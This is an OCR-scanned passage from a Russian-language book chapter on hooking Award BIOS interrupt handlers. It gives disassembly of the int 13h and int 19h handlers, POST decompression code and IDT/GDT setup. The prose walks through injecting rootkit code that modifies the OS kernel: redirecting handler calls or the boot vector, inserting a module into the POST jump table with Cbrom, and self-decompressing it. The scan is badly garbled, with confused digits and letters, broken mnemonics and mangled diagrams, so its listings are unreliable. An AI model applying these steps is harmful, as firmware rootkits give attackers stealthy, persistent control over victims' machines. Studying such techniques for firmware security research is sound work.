F000:FEF3
dw
offset
System_Timer_IRQ_handler
F000:FEF5
F000:FEF5
dw
offset
Keyboard_IRQ_Handler
F000:FEF7
F000:FEF7
dw
offset
PIC_ISR_n_IRR_HouseKeeping
F000:FEF9
F000:FEF9
dw
offset
PIC_ISR_n_IRR_HouseKeeping
Вектор прерывания Oh.
Вектор прерывания lh.
Вектор прерывания 2h.
Вектор прерывания 3h.
Вектор прерывания 4h.
Вектор прерывания 5h.
Вектор прерывания 6h.
Вектор прерывания 7h.
Вектор прерывания
; 8h — IRQ О
; Вектор прерывания ; 9h — IRQ 1
; Вектор прерывания
; Ah — IRQ 2
; Вектор прерывания ; Bh — IRQ 3
FООО:FEFB
dw offset PIC_ISR_n_IRR_HouseKeeping
; Вектор прерывания
pQ00:FEFB
; Ch -- IRQ 4
F000:FEFD
p000:FEFD
dw offset PIC_ISR_n_IRR_HouseKeeping
; Вектор прерывания ; Dh -- IRQ 5
pOOOxFEFF fOOOxFEFF
dw offset FDC IRQ Handler
; Вектор прерывания ; Eh -- IRQ 6
F000:FF01
FOOOiFFOI
dw offset PIC_ISR_n_IRR_HouseKeeping
; Вектор прерывания ; Fh — IRQ 7
F000:FF03
dw offset sub_F000_F065
; Вектор прерывания lOh
FOOOxFFOS
dw offset sub_F000_F84D
; Вектор прерывания llh
F000:FF07
dw offset sub_F000_F841
; Вектор прерывания 12h
F0OO:FFO9
dw offset goto_int_13h_handler
; Вектор прерывания 13h
FOOOxFFOB
dw offset sub_F000_E739
; Вектор прерывания 14h
FOOOxFFOD
dw offset goto_int_15h_handler
; Вектор прерывания 15h
FOOOxFFOF
dw offset sub_F000_E82E
; Вектор прерывания 16h
FOOOxFFll
dw offset sub_F000_EFD2
; Вектор прерывания 17h
F000:FF13
dw offset sub_F000_E7A4
; Вектор прерывания 18h
F000:FF15
dw offset goto_bootstrap
; Вектор прерывания 19h
F000:FF17
dw offset sub_F000_FE6E
; Вектор прерывания lAh
F000:FF19
dw offset nullsub_33
; Вектор прерывания IBh
FOOO:FF1B
dw offset nullsub_33
; Вектор прерывания ICh
FOOOxFFID
dw offset unk_F000_F0A4
; Вектор прерывания IDh
FOOO:FF1F
dw offset unk_F000_EFC7
; Вектор прерывания lEh
F000:FF21
F000:FF21
F000:FF23
F000:FF23
F000:FF23
dw 0
ivect_70h dw offset RTC IRQ Handler
; Конец первой группы
; векторов прерываний.
; Вектор прерывания
; 70h -- IRQ 8
F000:FF25
F000:FF25
dw offset Redirected IRQ 2
; Вектор прерывания ; 71h — IRQ 9
F000:FF27
F000:FF27
dw offset PIC_ISR_n_IRR_HouseKeeping
; Вектор прерывания
; 72h -- IRQ 10
F000:FF29
F000:FF29
dw offset PIC_ISR_n_IRR_HouseKeeping
; Вектор прерывания
; 73h — IRQ 11
F000:FF2B
F000:FF2B
dw offset PIC_ISR_n_IRR_HouseKeeping
; Вектор прерывания
; 74h — IRQ 12
F000:FF2D
F000:FF2D
dw offset MathConrocessor IRQ handler
; Вектор прерывания
; 75h -- IRQ 13
F000:FF2F
F000:FF2F
dw offset PIC_ISR_n_IRR_Housekeeping
; Вектор прерывания
; 76h -- IRQ 14
F000:FF31
F000:FF31
dw offset PIC_ISR_n_IRR_HouseKeeping
; Вектор прерывания
; 77h -- IRQ 15
Если у вас возникают трудности с пониманием хода исполнения кода в начале листинга 12.12, внимательно перечитайте материал, изложенный в главе 5 Сокращение isr в имени процедуры pic_iSR_n_iRR_HouseKeeping означает inservice register (регистр обслуживаемого прерывания), а не interrupt service routine (процедура обработчика прерывания).
Из кода в листинге 12.12 видно, что первые 32 элемента 16-битных векторов прерываний BIOS хранятся в таблице векторов прерываний (interrupt vector table). Особый интерес для разработчика руткита представляют элементы хзь и 19b этой таблицы. Эти элементы являются соответствующими векторами обработчиков прерываний хзь и X9h.
Рассмотрим содержимое обработчика прерывания хзь. Исходный код этого обработчика показан в листинге 12.13.
Листинг 12.13. Обработчик прерывания 13Ь
F000:EC59 goto_int_13h_handler proc far
F000-.EC59 jmp near ptr int_13h_handler
F000:EC59 goto_int_13h_handler endp
F000:8A90
int_13h_handler proc far
F000:8A90
call do_nothing
F000:8A93
sti
FOOD:8A94
push ds
F000:8A95
push ax
F000:8A96
mov ax, 40h
F000:8A99
mov ds, ax
F000:8A9B
assume ds:nothing
F000:8A9B
and byte ptr ds:0Clh, 7Fh
F000:8AA0
mov al, ds:OEAh
F000:8AA3
test al, 4
F000:8C15
return:
F000:8C15
pop ax
F000:8C16
pop di
FOOD:8C17
pop es
F000:8C18
assume es:nothing
F000:8C18
pop ds
F000:8C19
assume ds:nothing
F000:8C19
pop si
F000:8C1A
call do_nothing_2
FOOD:8C1D
iret
f000:8890 do_nothing proc near
F000:8890 retn
p000:8890 do_nothing endp
pOOO:8894 do nothing 2 proc near
pOOO:8894 retn
fOOO:8894 do nothing 2 endp
В листинге 12.13 дизассемблированный код обработчика прерывания I3h не показан полностью, так как он слишком длинен и труден для понимания. Здесь приведен только наиболее интересный его фрагмент, который может послужить начальной точкой для вставки вашей модификации в оригинальный обработчик прерывания 1зь. Как видите, в коде Award BIOS есть две функции — do_nothing й do_nothing_2. Вызов обработчика этого прерывания можно перенаправить к внедренному коду написанной вами процедуры обработчика. Применяемый для этого метод является 16-битным вариантом способа накладывания заплатки обходной процедуры, упомянутого выше.
В вашей собственной процедуре "расширения" прерывания I3h вы можете делать все, что пожелаете. Например, сюда можно поместить код, модифицирующий ядро. Но, скорее всего, этот код окажется настолько объемистым, что для его внедрения не хватит свободного места, имеющегося в системной BIOS. В таком случае, вы сможете поместить его в отдельный модуль BIOS. Однако эта задача будет уже более сложна в реализации. Теоретически, процедура для достижения этой цели может состоять из следующих шагов:
Создаем новый модуль BIOS, который при загрузке в память будет модифицировать ядро. Этот новый модуль BIOS содержит основный код вашего руткита, модифицирующего обработчик прерывания. Модифицированный обработчик будет исполняться вместо "родного" обработчика.
Осуществляем вставку кода BIOS в таблицу переходов POST. Зная местоположение кода инициализации обработчика прерывания BIOS в таблице переходов POST, новый элемент таблицы переходов POST должен быть вставлен сразу же после кода инициализации обработчика прерывания BIOS, чтобы распаковать код вашего обработчика и изменить процедуру
обработки прерывания таким образом, чтобы при исполнении"родногО" обработчика прерывания осуществлялся переход к вашему обработчику Обратите внимание, что может возникнуть необходимость поместить код вашего "расширения" обработчика прерывания в память выше предела в 1 Мбайт, так как свободное пространство ниже этого предела ограничено В таком случае, в ваш код, внедренный в таблицу переходов POST, потребуется вставить код для переключения в плоский режим реального времени
С помощью утилиты Cbrom, применяя опцию /other, интегрируйте новый модуль в двоичный файл BIOS. Тем не менее, необходимо следить за элементом segment:offset заголовка LZH. Этот элемент необходимо обрабатывать таким же образом, как и другие сжатые компоненты BIOS, не являющиеся системной BIOS и ее расширением.
Рис. 12.10. Использование опции /other утилиты Cbrom
Обратите внимание, что новый модуль BIOS можно интегрировать в первоначальный двоичный файл с помощью утилиты Cbrom, применяя опцию /other. Фактически, эта опция только помещает в заголовок LZH упакованной версии вашего модуля правильный адрес назначения этого модуля после его распаковки (в формате сегмент:смещение). Поэтому необходимо распаковать модуль, вызывая в вашей процедуре, вставленной в таблицу переходов
POST, процедуру распаковки BIOS. Как вы помните из разд. 5.1.4.4, адрес segment:offset, на который я ссылаюсь в этом контексте, является фиктивным. За исключением особых случаев, описанных в разд. 5.1.4.4, расширение Award BIOS всегда распаковывается в сегмент -aoooh. На рис. 12.10 показан снимок экрана утилиты Cbrom, выводящей подсказку, поясняющую, как следует использовать опцию /other.
д теперь перейдем к рассмотрению образца кода для распаковки сжатого компонента BIOS ( листинг 12.14).
1ИСТИНГ 12.14, Образец кода для распаковки сжатого компонента BIOS
Е000:1В08
POST_11S proc near
; . . .
Е000:1В08
call init_nnoprom_rosupd
Е000:71С1
init_nnoprom_rosupd proc near
Е000:71С1
push ds
Е000:71С2
push es
Е000:71СЗ
pushad
Е000:71С5
mov ax, 0
Е000:71С8
mov ds, ax
Е000:71СА
assume ds: nothing
Е000:71СА
mov ds:byte_0_4B7, 0
E000:71CF
mov di, OAOh
; nnoprom.bin index
E000:71CF
; nnoprom.bin—>4027h;
E000:71CF
; AOh = 4h* (lo_byte(4027h)+lh)
E000:71D2
call near ptr decompress_BIOS_
„component
E000:71D2
; Распаковываем nnoprom.bin
E000:71D5
jb decompression_error
E000:71D9
push 4000h
E000:71DC
pop ds
; ds = 4000h - Сегмент для помещения
E000:71DC
; распакованного компонента.
E000:71DD
assume ds:nothing
E000:71DD
xorsi, si
E000:71DF
push 7000h
E000:71E2
pop es
; es = 7000h
E000:71E3
assume es:nothing
E000:71E3
xor di, di
E000:71E5
mov ex, 4000h
E000:71E8
cld
E000:71E9
rep movsd
; Копируем распакованный nnoprom
E000:71E9
; с сегмента 4000h в сегмент 7000h.
В листинге 12.14 показан код для 11-го элемента таблицы переходов POST. Этот код вызывает процедуры блока распаковщика BIOS для распаковки компонента расширения nnprom.bin. По этому образцу вы можете создать свою собственную специальную процедуру для распаковки внедренного обработчика прерывания хзь, если вам придется сжать его и сохранить как самостоятельный сжатый компонент BIOS.
При создании вашего собственного специального кода необходимо следить за тем, чтобы при его исполнении не вторгнуться в адресное пространство, все еще используемое другими компонентами BIOS. Эта задача сложна, и может возникнуть такая ситуация, когда надежного пути ее решения не окажется. В этом случае, проблему можно решить, модифицируя вместо обработчика прерывания 1зь обработчик прерывания I9h.
Работать с обработчиком прерывания I9h предпочтительней, потому что к тому времени, когда он вызывается, производится инициализация всех аппаратных средств, и на данном этапе компьютер более подготовлен к загрузке операционной системы. За счет этого вы можете свободно копаться и в остальных модулях BIOS. Тем не менее, следует соблюдать осторожность, чтобы не повредить в памяти какую-либо структуру данных BIOS, которая будет использоваться операционной системой. К таким структурам относятся область BDA и код BIOS со статусом "только для чтения" в сегментах еоооь и FOOOh. Реализация обработчика прерывания I9h для данной BIOS показана в листинге 12.15.
Листинг 12.15. Обработчик прерывания 19Ь.
F000:E6F2 goto_bootstrap proc near
FOOO: E6F2 jirp bootstrap F000:E6F2 goto_bootstrap endp
FOOO:5750
bootstrap proc near; ...
FOOO:5750
mov ax, 0
FOOO:5753
mov ds, ax
FOOO:5755
assume ds:nothing
FOOO:5755
cli
FOOO:5756
mov ds:int_lEh_vect, 0EFC7h
FOOO:5756
; Системные данные - параметры
FOOO:5756
; дискеты (по адресу FOOOh:EFC7h)
FOOO:575C
movds:int_lEh_vect_contd, cs
FOOO:5760
sti
FOOO:5761
FOOO:5761
FOOO:5761
FOOO:5763
FOOO:5766
try_to_boot:; ...
xordl, dl
call near ptr exec_bootstrap
mov dl, 1
FOOO:5768
call near ptr exec_bootstrap
F000:576B
mov dl, 2
F000:576D
call near ptr exec_bootstrap
FOOO:5770
mov ax, 0
FOOO:5773
mov ds, ax
FOOO:5775
jmp try_int_18h
FOOO:5775
bootstrap endp
FOOO:5778
exec_bootstrap proc far; ...
FOOO:5778
mov ax, 0
F000:577B
mov ds, ax
F000:577D
mov al, cs:boot_device_flag
FOOO:5781
mov ds:boot_device_flag_buf, al
FOOD:5784
test ds:boot_device_flag_buf, 8
FOOO:5789
jnz short loc_F000_5792
F000:578B
andds:boot_device_flag_buf, OFBh
FOOO:5790
jmp short loc_F000_5797
FOOO:5B79
read_partition_table:; Процедура чтения таблицы разделов.
F000:5B79
mov ах, 201h; Читаем один сектор.
FOOO:5B7C
mov bx, 7C00h; Смещение буфера назначения.
F000:5B7F
mov сх, 1; Сектор 1 (MBR)
F000:5B82
mov dx, 80h; Читаем жесткий диск(HDD).
F000:5B85
int 13h; СЧИТЫВАЕМ В ПАМЯТЬ СЕКТОРЫ ДИСКА
F000:5B85
; AL = количество считываемых секторов.
F000:5B85
; СН = дорожка, CL = трек,
F000:5B85
; DH = головка, DL = привод,
F000:5B85
; ES:BX -> буфер для результатов чтения.
F000:5B85
; По возвращению:
F000:5B85
; CF установлен при ошибке,
F000:5B85
; АН = статус,
F000:5B85
; AL = количество считанных секторов,
F000:5B87
F000:5B8B
add bx, IBEh; bx = таблица разделов.
FOOO:5B8B
chk_next_partition_entry:; ...
FOOO:5B8B
cmp word ptr es:[bx], 0AA55h
F000:5B90
jzshort end_of_mbr
F000:5B92
test byte ptr es:[bx], 80h
F000:5B96
jnz
short bootable_partition_entry_found
F000:5B98
add
bx, lOh
FOOO:5B9B
FOOO:5B9D
jnp
short chk_next_partition_entry
FOOO:5B9D
bootable_partition_entry_found: ; ...
FOOO:5B9D
FOOO:5B9D
mov
al, es:[bx+5]; al = цилиндр/головка/сектор
;адрес раздела
F000:5BAl
inc
al
F000:5BA3
mov
ds:4C6h, al
F000:5BA6
mov
ax, es:[bx+6]
F000:5BAA
mov
ds:4C7h, ax
F000:5BAD
jnp
short end_of_mbr
F000:5BCF FOOO:5BCF F000:5BD0
end_of_mbr:; .. .
pop
popa
es
F000:5C09
xor
ax, ax
FOOO:5C0B
F000:5C0B
F000:5C0B
F000:5C0B
F000:5C0B
int
13h; ДИСК - УСТАНАВЛИВАЕМ ДИСКОВУЮ СИСТЕМУ
; В НАЧАЛЬНОЕ СОСТОЯНИЕ
; DL = привод (если бит 7 установлен,
; как жесткие, таки гибкие диски
; устанавливаются в начальное состояние)
F000:5C0D
F000:5C0D
jb
short not_bootable_media
; Переход к обработчику неправильного носителя
; загрузки
F000:5C0F
mov
ах, 201h
F000:5C12
mov
bx, 0
F000-.5C15
mov
es, bx
F000:5C17
assume es:nothing
F000:5C17
mov
bx, 7C00h
FOOO:5C1A
mov
ex, 1
FOOO:5C1D
xor
dh, dh
FOOO:5C1F
FOOO:5C1F
FOOO:5C1F
FOOO:5C1F
FOOO:5C1F
FOOO:5C1F
FOOO:5C1F
FOOO:5C1F
FOOO:5C1F
int
13h; ДИСК - СЧИТЫВАЕМ СЕКТОРЫ В ПАМЯТЬ
; AL = количество считываемых секторов, ; СН = дорожка, CL = трек, ; DH = головка, DL = привод, ; ES:BX -> буфер для результатов чтения ; По возвращению:
; CF установлен при ошибке, ; АН = статус, ; AL = количество считанных секторов.
F000:5C21
jnb
short boot_sector_read_success
р000:5С31
boot_sector_read_success:; . . .
F000:5С31
call
i s_bootable_media
F000:5С34
jb
short not_bootable_media
р000:5С36
mov
al, ds:4Clh
F000:5C39
and
al, OFh
FOOO:5СЗВ
shr
al, 2
F000:5C3E
cnp
al, 2
F000:5C40
jz
short loc_F000_5C68
F000:5C42
cnp
al, 1
FOOO:5C44
jnz
short jump_to_bootsect_in_RAM
F000:5C81
junp_to_bootsect_in_RAM:; . . .
F000:5C81
mov ax, cs
F000:5C83
mov word ptr ds:ptr2reset_code+2, ax
F000:5C86
pop ax
F000:5C87
mov word ptr ds:ptr2reset_code, ax
FOOO:5C8A
jnp far ptr unk_0_7C00; Переход к загрузочному
; сектору в RAM
FOOO:5C8A
exec_bootstrap endp
Изучая код, приведенный в листинге 12.15, можно обнаружить большое количество точек, в которые можно вставить переход к вашей внедренной процедуре. В частности, можно перенаправить вектор начальной загрузки, который выполняет переход по адресу оооо:7сооь, на адрес вашей внедренной процедуры, предназначенной для загрузки ядра операционной системы и последующей его модификации. Помните, что ваша процедура может быть вставлена в свободное место в системной BIOS точно таким же образом, как описано в разд. 6.2.
При внедрении вашего руткита в обработчик прерывания BIOS I9h может возникнуть необходимость реализовать внедряемую процедуру в виде компонента расширения BIOS. Это может случиться, если ваша процедура окажется слишком велика, чтобы поместиться в свободное пространство в системной BIOS. Эта ситуация отличается от случая с обработчиком прерывания 1зь тем, что когда вызывается прерывание 19b, процедура для распаковки BIOS может быть уже удалена из сегмента 2000h. Чтобы решить эту проблему, обработайте внедряемую процедуру с помощью алгоритма LHA нулевого уровня при ее интегрировании в двоичный файл BIOS с помощью утилиты Cbrom. В этом случае код процедуры не будет сжат, а будет помещен в общий двоичный файл BIOS как чисто двоичный компонент. Но тогда каким
же образом можно реализовать сжатие внедряемой процедуры? В этом нет ничего трудного — поместите подпрограмму распаковки в самое начало вашей специальной процедуры. При упаковке упакуйте только ту часть процедуры, которая следует за подпрограммой распаковки. При первом исполнении вашей специальной процедуры, распакуйте ее сжатую часть с помощью этой несжатой подпрограммы распаковки. Хотя эта задача и сложна, но вполне реализуема. Я советую использовать алгоритм упаковки на основе алгоритма LZH, так как код для распаковки компонентов, сжатых с помощью такого алгоритма, можно сделать очень коротким. Графически метод представлен на рис. 12.11.
Первый компонент BIOS расширения(сжатый)Первый компонент BIOS расширения(сжатый)Общий двоичный файл BIOS
Первый компонент BIOS расширения(сжатый)
Первый компонент BIOS расширения(сжатый)
Стандартный заголовок LHA }Движок распаковщика |
"Сжатая” внедряемая процедура(модифицированный обработчикпрерывания int19h)"Сжатая” внедряемая процедура(модифицированный обработчикпрерывания int19h)Сжатый модифицированныйобработчик прерывания int 19h jСжатый модифицированныйобработчик прерывания int 19h j
"Сжатая” внедряемая процедура(модифицированный обработчикпрерывания int19h)
"Сжатая” внедряемая процедура(модифицированный обработчикпрерывания int19h)
Сжатый модифицированныйобработчик прерывания int 19h j
Сжатый модифицированныйобработчик прерывания int 19h j
N-й компонент BIOS расширения ! (сжатый)
Расширение системной BIOS
Системная BIOS
Рис. 12.11. Концептуальное представление "сжатой" внедряемой процедурымодифицированного обработчика прерывания 19h
Имейте в виду, что только что описанный метод можно применять только с Award BIOS.
В файле vd30728.bin имеется один аспект, который может оказаться несколько смущающим. Если вы протрассируете его дизассемблированный код Д° таблицы переходов POST ISA, вы увидите там инициализацию таблицы IDT.
Это может удивить вас, так как на первый взгляд может показаться, что это выводит из строя векторы прерываний, инициализированные в элементе post_8s таблицы переходов POST. В действительности, этого не происходит. Понять причину этого можно, проанализировав код инициализации таблицы IDT, приведенный в листинге 12.16.
Листинг 12.16. Код инициализации таблицы ЮТ
Е000:61С2
Begin_EOOO_POST_Jnp_Table
Е000:61С2
POST_Jmp_Tbl_Start dw offset POST_1S; . ..
Е000:61С2
; Восстанавливаем флаг горячей загрузки.
Е000:61F8
dw offset Start_ISA_POSTs
E000:61F8
; Вызываются проверки POST ISA (далее).
E000:61F8
End_EOOO_POST_Jrnp_Table
E000:61FE
ISA_POST_TESTS
Е000:61FE
ISA_POST_Jmp_Tbl_Start dw offset ISA_POST_1S ; ...
Е000:61FE
; Выводим тактовую частоту DRAM; устанавливаем
E000:61FE
; таблицу IDT/ловушки/обработчик исключений?
Е000:249С
ISA_POST_1S proc near; ...
ЕООО:2567
mov ax, 0
Е000:25бА
mov ds, ax
Е000:256С
call init_ISA_IDT_n_GDT
E000:256F
jb return
Е000:2573
xor eax, eax
Е000:2576
mov ax, lOh
Е000:2640
and ax, OFFCOh
Е000:2643
mov ex, ax
Е000:2645
ЕООО:2648
call Reini t_IDT_n_Leave_l 6bi t_PMode push OEOOOh
Е000:264В
push offset i_am_back
Е000:264Е
push offset locret_F000_EC31
ЕООО:2651
push offset nullsub_25
ЕООО:2654
ЕООО:2659
ЕООО:2659
jmp far ptr F000_Vector
i_am_back:; . ..
ЕООО:2659
mov [bp+30h], ax
648
Часть IV. Внесение изменений в код Biqs
Е000:265С
сир
ex, ax
Е000:265Е
jz
short enable_interrupt
ЕООО:2660
xor
ecx, ecx
ЕООО:2663
mov
ex, ax
ЕООО:2665
mov
[bp+lB6h], ecx
ЕООО:266А
ЕООО:266А
enable.
.interrupt:
; . . .
ЕООО:266А
call
nnoprom_func_8
ЕООО:2660
sti
ЕООО:266Е
mov
dx, [bp+30h]
ЕООО:2671
mov
[bp+17h], dx
ЕООО:2674
call
nullsub_16
ЕООО:2677
ЕООО:2677
return:
; . . .
ЕООО:2677
xor
ax, ax
ЕООО:2679
mov
ds, ax
ЕООО:267В
pop
ds:dword_0_FFFC
ЕООО:2680
pop
ds:dword_0_FFF8
ЕООО:2685
clc
ЕООО:2686
retn
ЕООО:2686
ISA_POST_1S endp
ЕООО:2274
init_ISA_IDT_n_GDT proc
near ; ...
ЕООО:2274
pushad
ЕООО:2276
call
F0_Enable_A20
ЕОО0:2279
jb
short exit
ЕООО:227В
push
cs
Е000:227С
pop
ds
ЕООО:2270
assume ds:_E000h
ЕООО:2270
mov
ex, 64
Е000:2280
mov
si, offset ISA_POST_GDT
ЕООО:2283
mov
ax, 2000h
ЕООО:2286
mov
es, ax
ЕООО:2288
assume es:_2000h
ЕООО:2288
mov
di, OEOOOh
; 2000h:E000h —> адрес назначения
ЕООО:2288
; для копирования таблицы GDT
ЕООО:228В
rep movsw
ЕООО:2280
mov
di, 0E400h
; 2000h:E400h —> адрес назначения
ЕООО:2280
; для копирования таблицы IDT
ЕООО:2290
mov
ex, 128
; Половина всех элементов таблицы IDT
ЕООО:2293
mov
si, offset POST.
_CODE_BOh_n_di sable„paging
ЕООО:2293
; Обработчик исключения?
gOOO:2296
xor
ax, ax
gOOO:2298
gOOO:2298
next_idt_entry:;
gOOO:2298
mov
es:[di], si
e000:229B
mov
word ptr es:[di+2]
, 8
E0OO:229B
Селектор первого сегмента
g000:229B
;
(16-раэрядный сегмент кода
EO00:229B
в сегменте EOOOh)
EO00:22A1
mov
word ptr es:[di+4]
, 8F00h
32-битный сегмент присутствует в памяти
;
(установлен бит Р=1)
E000:22Al
ШЛЮЗ ЛОВУШКИ, DPL=0
E000:22A7
mov
es:[di+6j, ax;
Старшее слово обработчика
E000:22A7
прерывания = Oh
EOOO:22AB
add
di, 8;
di += IDT_entry_size
EOOO:22AB
(размер элемента таблицы IDT)
E000:22AE
loop
next_idt_entry
E000:22B0
mov
si, offset lDT_addr
E000:22B3
lidt
qword ptr [si]
EOOO:22B6
mov
si, offset GDT_start
E000:22B9
Igdt
qword ptr [si]
E000:22BC
mov
eax, crO
E000:22BF
or
al, 1;
Устанавливаем бит защищенного режима (PMode)
E000:22Cl
mov
crO, eax
E000:22C4
jnp
far ptr 8:22C9h
E000:22C4
Переход в 16-битный PMode
ЕОПЛ• 99rQ
•
E000:22C9
mov
ax, lOh;
Дескриптор реального плоского режима.
E000:22CC
mov
ds, ax
E000:22CE
assume ds:nothing
E000:22CE
mov
ss, ax
E000:22D0
assume ss:nothing
E000:22D0
mov
gs, ax
E000:22D2
assume gs:nothing
E000:22D2
mov
fs, ax
E000:22D4
assume fs:nothing
E000:22D4
mov
ax, 18h
E000:22D7
mov
es, ax;
Базд es base = lOOOOh, Сегмент
E000:22D7
с 16-разрядной гранулярностью.
E000:22D9
assume es:nothing
E000:22D9
mov eax, crO
E000:22DC
test al, 1; Проверяем бит защищенного режима (PMode)
E000:22DE
jnz short exit
Е000:22Е0
stc
Е000:22Е1
E000:22El
exit:; ..-
E000:22El
popad
E000:22E3
retn
E000:22E3
init_ISA_IDT_n_GDT endp
E000:22E4
POST_CODE_BOh_n_disable_paging proc far ; ...
E000:22E4
push eax
E000:22E6
push dx
E000:22E7
mov al, OBOh; Код POST BOh: Неожиданное прерывание
E000:22E7
; в защищенном режиме.
E000:22E9
out 80h, al;
E000:22EB
mov eax, crO
E000:22EE
and eax, 7FFFFFFFh ; Сбрасываем флаг страничной
E000:22EE
; организации.
E000:22F4
mov crO, eax
E000:22F7
pop dx
E000:22F8
pop eax
E000:22FA
iret
E000:22FA
POST_CODE_BOh_n_disable_paging endp
E000:223F
GDT_start dw 2Oh; . ..
EOOO:2241
dd 2E000h
EOOO:2245
IDT_addr dw 1024; . . .
EOOO:2247
dd 2E400h
E000:224B
ISA_POST_GDT dq 0; . . .
EOOO:2253
dw OFFFFh; Предел сегмента = OxFFFF
EOOO:2255
dw 0; Базовый адрес = ОхЕОООО
EOOO:2257
db OEh; Продолжение базового адреса.
EOOO:2258
dw 9Fh; Гранулярность = байт;
EOOO:2258
; 16-разрядный сегмент;
EOOO:2258
; сегмент кода;
E000:225A
db 0; Продолжение базового адреса.
E000:225B
dw OFFFFh; Предел сегмента = OxFFFFF
E000:225D
dw 0; Базовый адрес = 0x0
E000:225F
db 0; Продолжение базового адреса.
EOOO:2260
dw 8F93h; Гранулярность = 4 Кбайта;
E000:2260
,- 16-разрядный сегмент;
E000:2260
; Сегмент данных;
ЕООО:2262
db 0
Продолжение базового адреса.
ЕООО:2263
dw OFFFFh;
Предел сегмента = OxFFFF
ЕООО:2265
dw 0;
Базовый адрес = 0x10000
ЕООО:2267
db 1
Продолжение базового адреса.
ЕООО:2268
dw 93h;
Гранулярность = байт;
ЕООО:2268
16-разрядный сегмент;
ЕООО:2268
Сегмент данных;
Е000:22бА
db 0
Продолжение базового адреса.
E000:22FC
Reinit_IDT_n_Leave_16bit_PMode proc near ; ...
E000:22FC
push eax
E000:22FE
push esi
ЕООО:2300
mov ax, ds
ЕООО:2302
mov es, ax
ЕООО:2304
assume es:nothing
ЕООО:2304
mov gs, ax
ЕООО:2306
mov fs, ax
ЕООО:2308
cli
ЕООО:2309
mov eax, crO
Е000:230С
and eax, 7FFFFFFEh ;
Отключаем страничную организацию
Е000:230С
и защищенный режим.
ЕООО:2312
mov crO, eax
ЕООО:2315
jnp far ptr leave_voodoo_mode
ЕООО:2315
Выходим из плоского реального режима
Е000:231А
Е000:231А
leave_voodoo_mode:
"Е000:231А
mov ax, cs
Е000:231С
mov ds, ax
Е000:231Е
assume ds:_E000h
Е000:231Е
mov si, offset ISA_Real_Mode_IDT
ЕООО:2321
lidt qword ptr [si]
ЕООО:2324
xor ax, ax
ЕООО:2326
mov ds, ax
ЕООО:2328
assume ds:nothing
ЕООО:2328
mov es, ax
Е000:232А
assume es:nothing
Е000:232А
mov ss, ax
Е000:232С
assume ss:nothing
Е000:232С
push OEOOOh
E000:232F
push offset return
ЕООО:2332
push offset locret_F000.
_ЕС31
ЕООО:2335
push offset disable_A20
ЕООО:2335; disable_A20
ЕООО:2338 jinp far ptr FOOO_Vector
E000:233D
/
—
E000:233D
return:
; . . .
E000:233D
pop
esi
E000:233F
Pop
eax
EOOO:2341
retn
EOOO:2341 Reinit_IDT_n_Leave_16bit_PMode endp
E000:226C ISA_Real_Mode_IDT dw 400h ; ...
E000:226E dd 0; Первоначальный вектор прерывания BIOS
Как видите (листинге 12.16), таблица IDT действительно используется во время исполнения isa_post_is. Но после того, как она была использована, регистрам процессора для работы с прерываниями восстанавливаются прежние векторы прерываний BIOS, начиная с адреса оооо: ooooh. Это следует из анализа кода процедуры Reinit_iDT_n_Leave_i6bit_PMode. Так что вам нужно знать об этом приеме, чтобы он не сбил вас с толку в ваших исследованиях. Я не привожу двоичных сигнатур для обработчика прерывания в Award BIOS потому, что на данном этапе чтения этой книги вы уже должны уметь делать это самостоятельно.
Захват обработчиков прерываний Award BIOS 6.00PG
В данном разделе захват обработчиков прерываний Award BIOS 6.00PG рассматривается лишь вкратце, потому что версия 6.00PG Award BIOS очень похожа на версию 4.51. Я лишь предоставлю дизассемблированный код, демонстрирующий, насколько эти две версии похожи друг на друга. Это сходство позволяет все методы, изложенные в предыдущем подразделе, применять и к Award BIOS версии 6.00PG. При этом в более новой версии имеется больше свободного пространства, чем в более ранней версии.
Дизассемблированный код, приведенный в этом разделе, был получен путем дизассемблирования BIOS материнской платы Foxconn 955X7AA-8EKRS2, датированной 11 ноября 2005. Обратите внимание, что эта реализация BIOS уже обсуждалась в главе 5, где мы занимались дизассемблированием Award BIOS. Здесь мы дизассемблируем фрагмент кода блока начальной загрузки этого файла, осуществляющий инициализацию контроллера PIC (листинг 12.17).
истинг 12.17. Инициализация контроллера PIC
F000:E2AC
; Инициализируем основные чипы ввода-вывода:
F000:E2AC
; программируемый
интервальный таймер, контроллер PIC, и т.п.
F000:E2AC
mov ах, OFOOOh
F000:E2AF
mov ds, ax
F000:E2Bl
mov si, offset IO_port_start
F000:E2B4
mov ex, 32
F000:E2B7
eld
F000:E2B8
next_IO_port:
; CODE XREF: F000:E2Clh
FOOO:E2B8
lodsw
F000:E2B9
mov dx, ax
F000:E2BB
lodsb
F000.-E2BC
out dx, al
F000:E2BD
jmp short $+2
F000:E2BF
jmp short $+2
F000:E2Cl
loop next_IO_port
F000.-E7C1
IO_port_start dw 3B8h
; . . .
F000:E7Cl
; Адрес порта ввода-вывода.
F000:E7C3
db 1
; Значение для записи.
F000:E806
dw 2 Oh
; Базовый регистр ведущего контроллера PIC.
F000:E808
db llh
; Слово ICW1 на ведущий PIC;
F000:E808
; требуется команда ICW4.
F000:E809
dw 21h
; Регистр базового адреса+1 ведущего
F000:E809
; контроллера PIC.
F000:E80B
db 8
; Слово ICW2 ведущего контроллера PIC;
F000:E80B
; указываем на 8й вектор прерывания для IRQ
F000:E80B
; в ведущем PIC.
FOOD:E80C
dw 21h
; Регистр базового адреса+1 ведущего
F000:E80C
; контроллера PIC.
F000:E80E
db 4
; Слово ICW3 ведущего контроллера PIC
F000:E80E
; ICW3; IRQ2 соединена с PIC2
F000:E80F
dw 21h
; Регистр базового адреса+1 ведущего
F000:E80F
; контроллера PIC.
F000:E811
db 1
; Слово ICW4 ведущего контроллера PIC
р000:Е811
; ICW4; режим 8086.
F000:E812
dw 21h
; Регистр базового адреса+1 ведущего
F000:E812
; контроллера PIC.
F000:E814
db OFFh
; OCW1: отключаем все IRQ в ведущем PIC.
p000:E815
dw OAOh
; Базовый регистр ведомого контроллера PIC.
Р000:Е817
db llh
; Слово ICW1 ведомого контроллера
F000:E817
; PIC; будет посылать слово ICW4.
Р000:Е818
dw OAlh
; Регистр базового адреса+1 ведомого
F000:E818
; контроллера PIC.
F000:E81A
db 70h
; Слово ICW2 ведомого контроллера
F000:E81A
; PIC; указываем на вектор 70Ь-й ISR
F000:E81A
; для IRQ в ведомом PIC.
F000:E81B
dw OAlh
; Регистр базового адреса+1 ведомого
F000:E81B
; контроллера PIC.
F000:E81D
db 2
; Слово ICW3 ведомого контроллера
F000:E81D
; PIC ICW3; номер ведомого = 2.
F000:E81E
dw OAlh
; Регистр базового адреса+1 ведомого
F000:E81E
; контроллера PIC.
